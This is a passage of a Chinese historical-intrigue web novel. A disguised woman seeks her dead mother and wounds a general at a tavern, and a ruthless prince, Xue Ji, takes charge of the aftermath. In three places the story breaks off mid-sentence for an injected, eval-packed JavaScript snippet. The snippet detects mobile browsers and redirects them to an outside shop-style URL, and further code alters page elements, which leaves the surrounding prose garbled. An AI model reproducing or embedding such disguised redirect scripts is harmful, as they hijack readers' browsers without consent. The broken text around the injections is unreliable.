车夫瞪着眼睛在心中暗揣,挺拔倒是挺拔,可这扒人车底也算有礼? 像是听到车夫心中所想,男子放下帷幔,“你有话就大声说。” 车夫面颊一红,道,“无恩知错。” “走吧。” 无恩收力甩了一下缰绳,马儿抬脚缓步离开小巷:“主子,您当真要赴慕小将军的升职宴?” 车内男子冷哼一声,“将军?他也配。” “属下也纳闷,映月关您前脚刚走,他后脚就围剿叛国副将,击退北漠驻边境残营,可就凭他的治军手段,实在叫人难以信服。” “事反常,必有妖,先前只从旁人口中知他英勇,却不曾亲眼见过,今日倒是个机会。” “可属下打听到,慕峰青这几日宴请了许多世家公子与各级同僚,可是宴后愿与他深交的没有几个,倘若去赴宴,属下担心他借您的名号结党聚群。” 男子拨动着手中的白玉扳指,“如若他真敢借我的名号聚群,那不是正好么。” 无恩反应过来,连忙称是。 “南夷那边有什么动静?” “回主子,高寒传回消息,南夷风平浪静,倒是北漠又有些蠢蠢欲动。” “映月关一战北漠元气大伤,南夷必定会趁机与北漠暗中往来,继续盯着。” “是。”无恩思忖了一下,又说,“主子,玉衍君回来了。” 车中男子沉默良久,才问,“他在何处?” “思朝暮山水间。” “那就去同他讨杯酒吃吧。” “是。” 无恩左手收紧缰绳,骏马便敏捷地拖着车厢长鬓飞扬,疾驰而去。 晁都城每逢初一十五常设闹市,各地摊贩都会汇聚在主街摆摊,各处商户也趁着这个热闹将摊位支在门口,招待着攒了一年的工钱专程前来采买年货的百姓们。 慕初情凭着记忆寻到了慕府门口,可前、后门外戒备森严的守卫让她明白此刻擅闯无异于自寻死路。 见她在门口徘徊良久,街旁一位卖糖人的商贩问道,“这位小哥,你可是在寻人么?” 慕初情点点头,佯作一副着急的面孔,“我母亲在这家府上做工,说好年前就辞工回家,可直到今日既没有她的消息也不见带回口信,我担忧这高门大户的随意伤人性命,又惶恐上门寻人会遭仆役殴打驱赶,不知该如何是好。” 商贩笑了笑说,“我在这附近卖糖人已有数年,还不曾见他们驱赶过何人,你母亲何时说要辞工回家?在府中谁人手下做工?年岁与面相如何?说来与我听,说不准我近日曾见过她呢。” “七日前,在慕家三姨娘院子里做工,模样很好,乍看不像使唤婆子,年岁四十。” 慕初情每说一句,商贩眉头便褶皱一毫,“你要寻找的人怎与七日前死在城门口的慕家姨娘如此相似?” “您可曾见过她?”慕初情忽然暴躁起来,她向前走了两步,差点揪住商贩的肩头。 “小哥莫要激动,待我仔细回忆回忆。” 商贩只当为人子的担忧母亲,慕初情却终于缓过神来。 “七日前,我曾见一位身着白衣的妇人从慕府后门出来,径直往城门楼的方向走去,过了没多久,又见慕家家奴策马用车拖回了一个人,马车停在后门,冬日寒风曾将车上草席拂开,我见躺在草席下的人,就是那白衣妇人。” “那位白衣妇人被他们送到哪儿去了?” 商贩说,“我只瞧见家仆将马车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888052|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从后门拉了进去,往后就再也没见过啦。” 慕初情低着头不说话,商贩安慰她,“小哥你不要怕,慕家大人为官和善,其子又是声名赫赫的大将军,如此世家怎会为难一个做工妇人,兴许是年末活计多,一时抽不开身见你。” “若真如你所说,那位妇人好端端的为宁死在外头也不愿困在里面?” “这这……”商贩一时语塞,只说,“我们小老百姓哪能得知高官府邸秘闻,只是深闺妇人终年不见天日,那精神定然难逃恍惚。” 慕初情转身喃喃,“是啊,终年不见天日,可是大门就在那里,到底是谁不愿让她们重见天日呢。” “嘿!那位小哥。”商贩小跑拦住她,小声道,“你这些话说与我听也就罢了,慕家将军今日设宴思朝暮,倘若有心人将你这大逆不道的话传入他耳朵里,你十条命都不够死的。” 设宴思朝暮? 慕初情眼神凌厉,却恭敬地向商贩抱拳行礼,“多谢大哥教诲。” 小兄弟面色虽不如方才难看了,卖糖人的大哥仍旧有些不放心,他朝慕初情的背影追了几步,吼道,“小哥,万望宽心啊!” 慕初情只顾向前跑,没有回头,可是右手却不自觉抬起凌空向后摆了摆手。 穿过往来的人潮,慕初情暗自揣度,母亲遗体很可能仍在慕家人手里,只要还在,那寻回就还有希望。 眼下她要赶去思朝暮,她倒要看看,大将军慕峰青是如何踩着自己和五千兵士的尸骨同旁人把酒言欢的。 避让过喧哗街市,纹饰精美奢华的马车刚一停稳在思朝暮侧门,立刻就有小厮搬来红木镶金下马凳。 还没见着人,微弱的咳声就先从车厢内传来。 小厮们瞧见贵人亲信后,纵使是经常游走于达官显贵之间的‘甜嘴儿’也不敢在来人面前多言造次,他们低着头不敢直视,只恨脑袋不能插进地缝里。 无恩一边将下马凳摆正,一边交代:“我家主子体弱,见不得风,入了雅室后就不要再借口叨扰,有事直管来找我,你这儿虽是做酒楼的,可别总是什么玩意儿都往里头领。” 小厮俯首称是,可心中却想:慕大将军今日在楼中设宴,已经问了一两遍您家贵人是否到访,如今人就在这里,慕将军再问起时,可叫他们做下人的怎么回话才好。 帷幔不知被风还是旁的什么挑起,里头贵人一手用帕子捂着口鼻,一手搭着无恩的手臂缓步下车,角落新来的小厮胆大又好奇,他挑着眼皮偷瞄来人,却只瞧见了一对星剑入鬓眉,和一双温润桃花眼。 仅是半张脸,就叫人如逢天上仙君。 贵人已经踏上雅间楼梯,收拾下马凳的小厮见他还呆在原地,撩袍踹了他一脚,“你怎的还在这里偷懒?” “小李哥,方才那位贵人生的可真好看,我一个男子都看入迷了。” “混账东西!”李彦才抬手在新来的后脑勺拍了一掌,“你可知他是谁?” 新来的小厮揉着脑袋委委屈屈的摇头。 “晁都城里遍地都是显贵,可那位是当今圣上也得客客气气招待的显贵中的显贵、贵人中的贵人,若是得罪了他,别说全尸,你的骨头渣要是还能拢到一处也算是前世积德了。” “啊?那哪是贵人,分明是个罗刹么?” 新来的小子嘟嘟囔囔,李彦才又拍了他脑门一下叮嘱道,“小范思,如今世上不太平,你母亲托我照应你,我便将你带到了晁都城里最大的酒楼,在这里老实跑堂总归是饿不死的,但今后如何全得凭你的心眼,小命是自己的,以后少说话多做事就算是照应它了。” 范思懵懂的点点头,小声道,“多谢小李哥,我知晓了。” “行了,此刻正是晌午来客的时候,前厅的活儿你还不熟悉,冲撞了客人们就麻烦了,你拎着下马凳去后门守着,有客就抬凳,无人就闲着打盹去罢。” “是。” 恭恭敬敬将李彦才送走,范思将搭在肩上的抹布别进腰带后,弯腰抱着下马凳坐到了后门石阶旁。 前厅人声鼎沸、宾客喧嚷,可是这后街小巷却宛若闲庭空院,安然静逸,范思眯眼打了个呵欠,正欲浅浅打个盹时,忽听见从头顶传来的一道少年人独有清脆但又低沉的声音,问了句—— “小哥,请问贵店还招跑堂伙计吗?” 4. 酒楼 思朝暮是晁都城里最大的酒楼。 店面大,要用到伙计的地方就多,可常来这里消遣的宾客闲时在雅座里瞧来望去,看到的总是那几个熟脸小厮在厅里楼内端茶倒水、跑堂哈腰。 思朝暮以‘雅致’招客,又以‘昂贵’闻名,招待的客人多数都是城内有名有姓的高官大户,因此哪怕再缺人,管事的也不会随意在门口张贴招人告示,比起辛勤忙碌,他们更怕逢到不长眼的可能会坏酒楼名声的腌臜人,故而店里的侍者空缺多是由上头直接派遣或是在此处领了多年月银的老人推荐担保顶上的。 这是思朝暮内外周知的规矩,可是新来的范思并不知晓。 他看着面前这个满脸都是泥点子的纤瘦少年,还当这孩子也是家乡遭了难没有活路,这才进城想寻个谋生活计的可怜人。 范思正欲答话,可脑袋里又想起小李哥少说话多做事的叮嘱,于是只摇了摇头没有出声。 虽然被他拒绝,可是慕初情发现这小厮看着自己的目光中竟有些许同情,她假意委屈,低头的瞬间立刻心生一计。 “小哥,我是从文州城逃难过来的,这一路上颠沛流离、风餐露宿,幸得沿路好心人一勺一碗的救济这才能苟活到晁都城内,如今我没有去处,只想求一个饿不死的活计,可是连问了好些家铺面都没人要我,实在没法了才求到您这里来的,您行行好,烦请替我问问管事的,看能否多我一个吃饭的伙计,我人虽小,可是干的多吃得少,雇我划算的很呐!” 这少年不提‘可怜’二字,可是浑身如柴的骨头和一双恳切求生的眼睛深深刺痛了范思的胸口,他终于开口,问,“你是文州城哪里的?” 慕初情继续编瞎话,“我双亲皆故于文州城,那个伤心地我不愿再提起了。” 范思心中一紧,忙安慰他,“真是对不住,本不该提起你的伤心事,可我家乡也在文州城,父母兄姊前些时日又在北漠铁骑下丧生,如今见着你我心中既难过又有些欣喜,于是多问了一嘴,你别伤心,都会过去的,我知你这一路艰辛,因为我也是这样寻过来的,你先在此处稍坐一会儿,我替你去酒楼里问问领我进来的同乡大哥……” 他说完便转身跑去,慕初情阻拦不及,也只能在原处等待。 她说来自文州城,是因为文州城百姓是他们保卫的最后一群人,她原以为自己和同袍们以命护住了他们,可今日才知道拼死守护的人到底还是父母双亡、背井离乡了。 慕初情探头看了一眼被来往忙碌伙计推来搡去的文州城小哥后,甩开衣袍坐到了门外檐下石阶等他出来。 “还是没有迎过我那贵客的马车吗?” “回大人话,街上今日有闹会,我方才去外头瞧了一会儿,都这个时辰了还是人来人往、举步难行呢。” “盯紧点,莫要失了礼数。” “您放心,专程派了伙计在门口候着呢。” “行了,下去吧。” “是大人,您受累,再尝尝我们小店的招牌不君醉罢。” 李彦才赔着笑躬身退出房门,刚一转身就看见范思一脸希冀的看着自己。 “小李哥,我有事想劳烦你……” “你个混小子,快吓死我了,你不在后门守着来这做什么,去去去,这会儿正忙着,别跟人眼前晃悠,我造了什么孽,请回你这么个小煞神……” 范思跟着李彦才刚走没两步,就被连推带打的踹下楼。 他是新来的又是外乡人,人微言轻,求不着人办事也是理所应当,范思在宽慰自己,可是站在楼底下看着四处奔走的伙计时,他还是觉得愧对外头那个同乡小兄弟。 慕初情早知道这位善心小哥会吃闭门羹,可是此时见他如此失望丧气还是有些于心难忍,她正准备好言劝慰一番,却不想一些不知名的酒水倏地从她头顶倾下,险些浇在她的脑门上。 “娘的,谁青天白日在楼上胡乱抛洒秽物……诶?这是什么味道还怪香的。” 慕初情刚骂了一半,鼻子就像是被带着钩子的不知名香气给勾过去似的,范思闻见味儿觉得有些熟悉,想了一会儿才说,“这是我们酒楼的招牌酒,叫不君醉。” “不君醉?”慕初情嘀咕,“以前怎的没听说过还有这样香的酒。” 范思仰头望着抛洒酒水的包间有些惊讶,“我听说这不君醉是酒楼老板近几年才从外头引回来的,及其珍贵,寻常有银子的客人都喝不上呢,不过不知为何,我们这里只今日就启封了两坛,也不晓得楼上哪位客人竟将如此珍品随意抛洒呢……” 慕初情抿着嘴不知在思索什么,范思闻到酒香才想起问她,“小兄弟,你肚子饿不饿?这会儿后厨正忙顾不上我,我可以进去为你偷拿些吃食……” “小哥。”慕初情打断他,眼中的期盼与畏缩全然褪去,“你是思朝暮新来的伙计罢。” “是啊,不过你怎知我是新来的?” 慕初情笑笑不答,只说,“方才多谢小哥好意,我们就此别过,若往后有人问起你今日所闻,还请小哥当作从没见过我。” “啊?这是为何……” 范思不解,可是刚一抬头就感觉自己后颈一痛、膝窝一软,眼前一黑之后就什么也不听不到了。 慕初情将他搬到下马凳旁摆了个打盹的姿势,摘下那顶小二帽戴在自己头上,临走时又扯下善心小哥腰间的抹布搭在肩膀,低头躬身踏进了思朝暮后厨。 思朝暮山水间里,暖炉烧的正旺。 前朝水墨大家的真迹屏风后,一位清古冶艳、秀润天成的蓝衣男子端坐在案几前看着立于窗前的友人,他将酒盏置于唇边,面色似有些心疼。 “薛承安,我花大价钱买来的酒,就是让你这样糟蹋的么。” 被唤作薛承安的男子转身坐回席位,他搁下手中的空酒杯,道,“劳你破费,可我这不是糟蹋。” 蓝衣男子挑了挑眉,示意他继续说下去。 “今日是我一位故友头七,这酒不错,想让他也尝尝。” “原以为我离了这晁都城你便是孤家寡人了,却不知你这种人竟也有亲友。”蓝衣男子拂袖为他杯中添酒,“亏我预备着好酒,巴巴的盼你,没成想你倒先去看了别人。” 薛承安仰头饮完一盏清酒,轻笑,“你原先以为的,就很对。” 蓝衣男子不说话了,他抬手为薛承安又斟了一杯酒,道,“据我所知,亡故至今已有七日的,也有那位被斩首于晁都城菜市街口的叛国贼慕初。” “你行踪不定,消息倒是灵通。” “事关国家大计,百姓街头巷尾的歌颂慕峰青英勇,憎恶叛国贼慕初可恶,我想不知道都难。” 薛承安见他有兴趣,便问,“慕峰青此人,你可有耳闻?” “我记得幼时曾见过他,文不成武也不就,却十分的嚣张跋扈,曾经欺负过我,后来还是你将他吓跑的,也不知道武曲星将哪根筋还给他了,叫他讨了个征北将军的名号。” “如今我们这个征北将军,下了帖子邀我今日于思朝暮一叙。” 蓝衣男子握着酒盏的指节一顿,转瞬却又好似什么也没有发生似的问,“那不正合你意?你不去应邀,跑来与我闲坐什么。” 薛承安留意着门外的动静,轻声道,“不急。” 外间楼道里有小厮来回走动的声响,慕初情躲过一个衣着像是位管事的男子,藏到了二楼雅间拐角处。 她打听到,方才酒水倾洒位置的上方是雅室山水间 “也不知慕峰青那只铁公鸡肯不肯为两坛酒掏钱。” 慕初情呢喃时,正巧瞥见一个也是个管事打扮的男子鬼鬼祟祟的上了二楼,她装作笨手笨脚的模样径直撞上那人的肩膀。 “管事的对不住,方才眼花没看路,小的没撞坏您吧?” 来人本就另有目的,原先还有些战战兢兢,此刻瞧见这灰头土脸的小厮比他还慌张,胆子立时大了起来,“我瞧你面生,领你来的莫不是李大管事的?是叫…是叫范思不是?” “是是是,小的就是范思。” 管事早看这对狼狈为奸的同乡不爽利,于是借机在慕初情腰间用力掐了一下,“你不去外头抬下马凳怎的跑到二楼雅间外头晃悠,要是冲撞了贵人们,当心我将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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站在高处观察思朝暮的构造,慕初情发现这里除了内饰更加奢华,别的同以前进来时并无区别,于是将牛皮筋条与筷子绑在山水间对面楼上的木勾护栏上,做了个简易弓弩,她匍匐在一处不引人注意的帷幔下,注视着对面那个本该在大堂当差此刻却在雅间二楼徘徊的管事。 管事估摸着时间差不多后,正准备敲门,忽然他像是想起来什么似的跑到楼下拦住一个伙计说了句话,再次上楼时竟路过山水间直勾勾朝隔壁那间包厢走去。 慕初情握着弓弩机关担忧计划出现变故,可那管事先前说的话忽然又响在耳边—— 哎呀,慕将军今日也订了坛不君醉。 也? 范思说只今日就启封了两坛不君醉,莫非这两坛酒分别送进了不同的包厢? 管事的抬手敲门,山水间隔壁的竹林里应声打开,不出片刻,人就被内里护卫凌空踹出房门,叫慕初情切齿已久的人物怒气冲冲地走了出来,说时迟那时快,她侧移弓弩角度后拉开机关,数十根锋利的竹筷急速迎风刺向竹林里门外的慕峰青。 饶是护卫反应灵敏,可迎面而来的竹筷还是见缝插进了他主子的左边臂膀。 “杀人啦!” 慕初情甩掉小二帽和抹布平躺在楼上大喊一声,趁着各包厢大堂客人闻声夺门奔逃之间翻身假意惊恐摔倒,再起身时瞬间便隐匿在人群里了。 吊在思朝暮房梁的无恩看了整整一场好戏,临了才打了个哈欠说,“得,有人把咱兄弟们的活儿给抢了。” 他看着楼下捂着左臂倒在地上被众人团团围住的慕峰青,鄙夷翻了个白眼后,轻巧地跃进山水间。 “主子,事办妥了,可却不是咱们自己人干的。” 薛承安没有说话,嘴角却扬着,蓝衣男子瞧他这模样心里也猜出了个七七八八,于是推开酒盏,起身打趣,“那也带我凑个热闹吧。” 无恩扶着薛承安站起后为他披上大氅,门外守卫拉开房门,高喊: “幽王薛霁,到——” 5. 幽王 慕小将军在思朝暮被歹人刺杀,与他同桌饮宴的左佥都御史铁铭、户部右侍郎兼总督仓场侍郎柳思无赶忙唤回自己的护卫将竹林里围了个水泄不通,他们两人一个蹲下查看慕峰青伤势,一个将躲在桌下的小厮揪出来,喊他去寻医。 一群人正是慌张忙乱之时,忽听一道铿锵镇耳的声音高喊‘幽王薛霁到’,于是三个人六双眼睛齐刷刷盯着那声音源头,眼神中似乎有些难以置信。 各家护卫在没有听到任何命令的情况下看到来人后,脚步皆是不由自主的向两边退去,硬生生在人群中避出一条宽敞小道。 从方才起就死命将慕峰青按住不让他乱动,以免歹人见他没死误伤旁人的柳思无此刻下意识收了力气,慕峰青这才忍着臂膀剧痛用力推开他,朝着来人行礼。 无恩将一把太师椅正正摆在楼道中央,扶薛霁坐下后,众人才发觉幽王身边竟再没有其他护卫了。 慕峰青抱拳行礼,道,“末将慕峰青,见过幽王殿下。” 柳思无与铁铭反应过来,也躬身作揖,“下官户部右侍郎兼总督仓场侍郎柳思无——” “下官左佥都御史铁铭——” “见过幽王殿下。” 薛霁不语,待用帕子捂着下唇轻轻咳了一声,才道,“将军免礼,二位大人免礼,慕小将军,你还好么,那伤势我瞧着好生渗人。” 慕峰青抬头看着这个大不了自己几岁的王爷,恭敬道,“区区小伤不碍事的,末将今日本该高高兴兴与您问好宴饮,谁知遇上了这等不醒事毛贼,吓着您了,还望殿下恕罪。” 薛霁没有开口,柳思无接话圆场,道,“殿下,您身边就这一个护卫么,下官担心歹人不曾走远,恐伤殿下安危呀!” “多谢柳大人担忧,为防止刺杀消息外泄引起百姓恐慌,我的人已将思朝暮团团围住,咳咳……”薛霁说完,缓缓看向了慕峰青,“不好奇是何人害你么?” “末将刚回晁都城且并未曾与人结怨,想来是北漠奸细伺机害我。”慕峰青见幽王没有善了的意思,于是顺着他的话头说,“还请殿下为末将主持公道。” 他答完话,周围又是一阵寂静,薛霁捂着帕子轻咳了几声,柳思无这才借着空挡偷瞄了一眼。 当他得知慕将军除了他和铁铭之外还向幽王下帖后,本想编个由头回绝今日宴会,可思来想去又觉得自己不来闪了朝廷新贵与同僚慕大人的脸面似乎也不太好,于是只能战战兢兢地期望幽王会因病体不利,失约于此。 就在他和铁铭在竹林里一遍遍听管事答话说贵客还不曾至此,正欲将心放下时,未成想外头竟闹了这么一出。 幽王竟来的如此之快。 柳思无在脑袋里将上句话变成了问句。 “难不成他早就在思朝暮了?” 这么想着,他抬头看向幽王来时的方向,双目却正好对上山水间门口一位蓝衣男子的目光。 蓝衣男子含笑对他颔首,柳思无回礼后在心里倒抽了一口凉气:齐煴玥怎会在此? 铁铭察觉他身体有异也向前望了一下,却并未发现什么不对。 这时,人群外有小厮喊叫,“大夫到了!” 刚回来的小厮不知道思朝暮此时是这个境况,他拨开护卫将大夫推进来后竟被面前的高官与权贵们吓得瘫倒在地。 一直静默在旁没有出声的李彦才悄悄将他拖走,忽又听幽王说,“劳烦大夫看诊,无恩,给两位大人设座。” 这下可真走不了了。 柳思无与铁铭相视一眼朝薛霁道了个谢,落座时俩人不约而同地拂袖蹭了蹭额上冒出的冷汗。 慕峰青对亲信岑虎使了个眼色,不消片刻,擅闯竹林里的管事便被五花大绑着丢到了众人面前,管事被绑着嘴,只能从鼻腔里传出来嗯嗯呜呜的嘈杂声音。 岑虎踹了管事一脚示意他老实点,而后抱拳半跪在薛霁面前,道,“幽王殿下,方才就是他擅闯竹林里巧言设计将我们引了出来,此人很可能就是刺伤我们将军的歹人同伙。” 无恩上前扯掉嫌犯口中抹布,那人也顾不得两腮疼痛,哪怕遍身困在绳索里也要以头抢地,嚎叫,“冤枉啊,草民刘桑是思朝暮领了多年月银的‘老人’,前些时日又刚升了大堂管事,今日因小人指使,只想去二楼讨个贵人赏银罢了,草民生性胆小,是万不会做出伤人性命的蠢事……” 说到此处,刘桑像是抓住了救命稻草一般,忙说,“是范思!他是新来的伙计,也是他框我进竹林里的,此人定然是歹人同伙,还请各位贵人明察啊!” 他话音刚落,被人在后门拍晕的范思就被岑虎拎了过来,刘桑看着眼前这个睡得迷迷糊糊地小厮心口猛地一跳:虽同是少年,可眼前这人身量却比之前见的高一些,这个范思竟不是刚才的范思! “主子,该用药了。” 薛霁接过无恩递来的汤药,皱着眉抿了一口,才问,“是他么?” 刘桑低头一咬牙,怒吼,“就是他!他便是二楼管事李彦才担保推荐的同乡兄弟范思,也是他与我说今日叫了不君醉的客人出手大方,诓骗我去敲竹林里大门的小厮!” 范思在后门沉沉睡了一觉,人还没清醒就被拽到了这里,可就算他再迟钝,此刻也瞧见了一室贵人和满地混着血的狼藉,他从地上爬起端端跪好,说,“我今日不曾见过刘管事,方才我忽然被……” 话到嘴边,他忽然想起那个文州城小兄弟曾说过—— “方才多谢小哥好意,我们就此别过,若往后有人问起你今日所闻,还请小哥当作从没见过我。” 后颈仍在隐隐作痛,范思终于在疼痛里知晓那位小兄弟的话中含义。 “忽然什么?”薛霁靠在椅背甚是慵懒,但那双眼睛里却蕴含着叫人望而生畏的凌厉,范思不敢回答也不敢再看他,只低头看着落在地上被削的锋利的竹筷。 这小厮不愿开口,薛霁也不逼问,他挥手示意无恩走到前来,“先将这位擅离职守、与歹人同谋刺伤慕将军的管事拖到下去杖毙罢。” 薛霁声音淡淡,没有听清他话的人决计不会将这语气同杖毙联系在一起,莫说旁人,就连管事的本人都没反应过来,无恩朝他走去时,刘桑眼中的惊恐还未传到喉咙整个人就被用手刀劈晕过去。 铁铭看着刘管事被安安静静地拖走,思量再三还是问了句,“幽王殿下,人命关天,您怎可滥用私刑?” “铁大人说的‘人命’是指精忠报国的慕将军还是谋害忠良的刘管事?” 铁铭支支吾吾的不知如何回答,只说,“不论指谁,那也得由官府衙门评判,怎好由旁人用刑责罚。” 薛霁想笑,可一张口又咳了两声,他道,“我薛霁要杀人,还得等官府衙门评判?铁大人您新官上任,多少有些天真。” “你……” 铁铭确是前几日才从地方调回晁都做官的,他自诩为人正直、清廉,不会为权贵低头,可旁边的柳思无用胳膊肘戳了他几下,这位为人正直、清廉的官员就忍着怒意,不再言语了。 当着三位当朝官员的面,也能说出如此蛮不讲理、大逆不道之言。 竹林里,仔细听着外面动静的慕峰青终于明白父亲昨日说的‘朝中清流皆避他不及’是什么意思了。 堵住多言的官员,薛霁终于有空看向未曾回话的小厮,“将推荐担保他的管事带过来。” 李彦才不等人抓,自己先扑倒在薛霁面前,“回幽王殿下,是小人将范思推荐担保来的,他从小跟在我屁股后面长大,一家老小又皆是被北漠铁骑砍死的,他与北漠说是有不共戴天之仇也不为过,怎会是北漠奸细呢!” “可你这小同乡说没见过刘管事,刘管事又说是被你的小同乡诓骗擅闯竹林里,那就奇了怪,难不成这世间还真有分身术不成?” 李彦才也着实想不通,好好守在后门的人怎么能同刘桑搅和在一起,他低头用脚后跟踹了范思一脚,眼中恶狠狠地要他赶快交代。 范思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无恩闻之,神色大变,他大步迈向机关用竹筷对比了一下栏杆擦痕,阴沉着脸说,“若慕将军在山水间,那当他冲出房门的那刻,竹筷便不会只刺穿他的肩膀,而是径直插进他的心口了。” 天煞的小贼,竟敢将利器对准山水间! 无恩后怕的看向主子,可薛霁嘴角却挑着一抹笑意,问,“范思,这些斥候技艺你是从何处学来的?” 范思回话说,“文州城边境常有狡猾漠匪骚扰,驻军守城多次抓捕却连敌方影子也捉不到,我幼时常常在军营附近玩耍,日子久了,多少也能学到一些的。” 李彦才不知范思还有这等神通,心中顿时与有荣焉,可他面上还没来得及露出喜色就又听幽王冷声道,“你有如此巧思却觉察不出歹人的蓄意接近,以至慕小将军险些在思朝暮遭人暗害,你可知罪!” 范思扑通跪下叩首,“范思无能,自知难逃一死,可李管事实在无辜,他好心担保,为我讨了口饭吃,别的什么都不知晓,万望殿下能饶他一命。” “还没有人敢与本王讨价还价,你倒是头一个。”薛霁扶着无恩转身离去,临下楼梯前偏过头,轻声道,“李彦才识人不清,杖二十,生死毋论,范思么……押进念弥陀供本王消遣两天吧。” 薛霁走后,潜伏在思朝暮的暗卫才现身出来,他们一拨人拖着范思离开,李彦才方敢在另一拨人挟他去受刑时啜泣起来。 铁铭目瞪口呆的看着楼下薛霁同一位蓝衣男子从侧门离去的背影,问,“行知,你们晁都的权贵行事都是如此蔑视法度、胆大妄为么?还有那念弥陀是什么,听起来不像是个好地方。” “‘应堕地狱受诸苦,临终方肯念弥陀’。”①柳思无拍拍他的肩膀,提步下楼,“梦来,我得提醒你,这里不是你们晁都,而是我们晁都啊。” 铁铭还在回味他话中意思,却又听他嘟囔,“送走一位,还有另一位在楼下等着呢,也不知你我究竟做了什么孽呦……” 6. 报恩 从思朝暮侧门出来,无恩黑着脸扶主子上车,蓝衣男子也手提长袍前摆弯腰跟着进去,见薛霁坐稳了,他才低语一句,“有人要杀慕峰青。” “不干己事的热闹,看过便忘了罢。” “立了军功的大将军刚回晁都就被人刺杀,若不知晓其中缘由,我亦担忧远在边疆的祖父与兄长安危。” 薛霁看向他,“你祖父与兄长的安危在你手里。” “我只一介布衣。” “一介布衣也敢钻进大兴幽王的车驾?”薛霁眸中显出些许嘲弄,“柳思无今日已经见到你与我在一处了,若无意外,明日早朝弹劾你祖父的折子便会将小皇帝吞没,齐煴玥,你此次回都是专程为我送上这份大礼么?” “是啊,你可还满意。” 薛霁面上并不显喜怒,只道,“遂了你的心意便可,但所有后果也必由你来承担。” 齐煴玥端坐在车中客位,看着在寒风里被掀开一角的窗边帷幔,轻声道,“自然都由我承担。” 薛霁偏过头阖眸养神,不回答也不再看他。 “停车。” 马车闻声停下,齐煴玥躬身掀开轿帘时,对薛霁道了一声,“多谢。” 无恩扶着齐煴玥下车,又恭敬对他行礼后,才甩着缰绳缓缓离去。 “先生,您回来的消息近情已经散出去了。” 齐煴玥身后不知何时出现了一名十七八岁的少年,他禀告完就静静在原地听候吩咐,可过了许久也不听面前人开口,他不由好奇便悄悄抬头看去。 远处的马车已经拐过街角,不见踪影,齐煴玥终于转身前行,自嘲一句,“消息散出去又如何,天下谁人识我齐玉衍。” 近情快步跟上去,说,“前些年您饱读诗书、寄情山水,也不在意那些虚名,如今踏遍群山后归来,才华见识更是满载,先生怀珠抱玉定能叫世人向若而叹。” “虚名?”齐煴玥笑道,“是啊,若想在这云迷锁雾一般的晁都城里叫人认真听你说话,钱权名也算捷径。” “近情失言,请先生赎罪。” “你说的很对,何罪之有,所谓虚名不过是比谁脸皮更厚而已,是捷径中的捷径,我能选的……似乎也只这一条路了。” 齐煴玥语气很轻像是呢喃,最后一句话像是辗转在舌尖,叫人费力也难听清,前头有条岔路,近情快走了两步说,“天冷,小的给您叫辆马车罢。” “不必了,望江楼就在前面。” 天色渐暗,一主一仆昂首走在城内街巷,路边收拾摊位预备回家的小贩们余光瞧见暮色中那位挺拔俊逸、风度翩翩的蓝衣男子踏风而过,皆是驻足仰望、啧啧称叹天上竟又掉下来一位谪仙般的男子了。 幽王府外,一架纹饰精美奢华的马车稳稳停在门口。 无恩驻马下车后跪在车边用力叩首,脑袋撞上路面的声音饶是隔着厚重的红木车壁也叫人听得真真切切。 “无恩失职,险些叫人伤您性命,望主子莫要留情,重重责罚!” 车中传来薛霁低沉的声音,“你今日瞧见过那少年?” “瞧见过,可如范思所言,那少年脸上满是白泥点子,实难相认,不过……我瞧他趴在地上的身形,与今日蹭车的男子十分相似。” “真是有趣。” “主子,那少年混进受了惊吓的思朝暮食客们中跑了,可守卫们并未在人群中找到他,我已派人在城中搜寻,务必尽早将他带到主子面前。” “慕峰青没死,他那时定然还在思朝暮。” 薛霁从车内出来,无恩起身将手在衣服上蹭了蹭连忙去扶,“属下立刻遣人捉拿!” “我们出来许久,他也不会傻傻待在原地,只叫个身手好的去找,瞧瞧这位小兄弟是谁家孩子。” “是。” 王府护卫与管家见王爷回来,赶忙出门相迎。 无恩向马车后看了一眼,管家立刻身领神会的喊了几个护卫将捆在后头的年轻男子送往念弥陀。 进了书房,薛霁随手在书桌上取了一份礼单递给无恩。 “将这些东西送到慕府。” 无恩看着单册有些心疼,“平白浪费了这些好东西。” 薛霁笑笑,“不是说前些时日他宴请的官员、世家公子与他只是走过过场么,我瞧着怪可怜的,再者,他刚回晁都就见着血光,难免受了些惊吓,我送些礼物,以示安慰也好。” “还是主子心善,只是主子今日明明去了思朝暮却未赴他的宴,也不知慕小将军回过味后会不会埋怨您。” “明日过后,他感谢我还来不及。” 无恩不解,“您怎知明日会发生什么?” 薛霁不答,只问,“齐煴玥去望江楼了么?” “主子神机妙算,玉衍君步行去的,沿街许多百姓都见着了,也不知为何,玉衍君今日才回都,晁都城内就有许多文人墨客知晓此事,还扬言要拜会他呢。” 薛霁冷笑一声,“难怪他要谢我。” 无恩听主子此话,心中忽然明白,是玉衍君自己将行踪放出来的,他在思朝暮跟着主子看热闹也是故意为之,目的就是为了让朝廷知道他与幽王混在一处,他想扬名,哪怕是骂名。 “您与他曾经是最好的玩伴,如今为何……” “曾经与如今,近则在唇齿,远则如鸿沟,人心也易变,恐怕人自己也难说出为何。” 无恩抱拳单膝跪下,坚定道,“不论过去将来,无恩誓死效忠主子。” 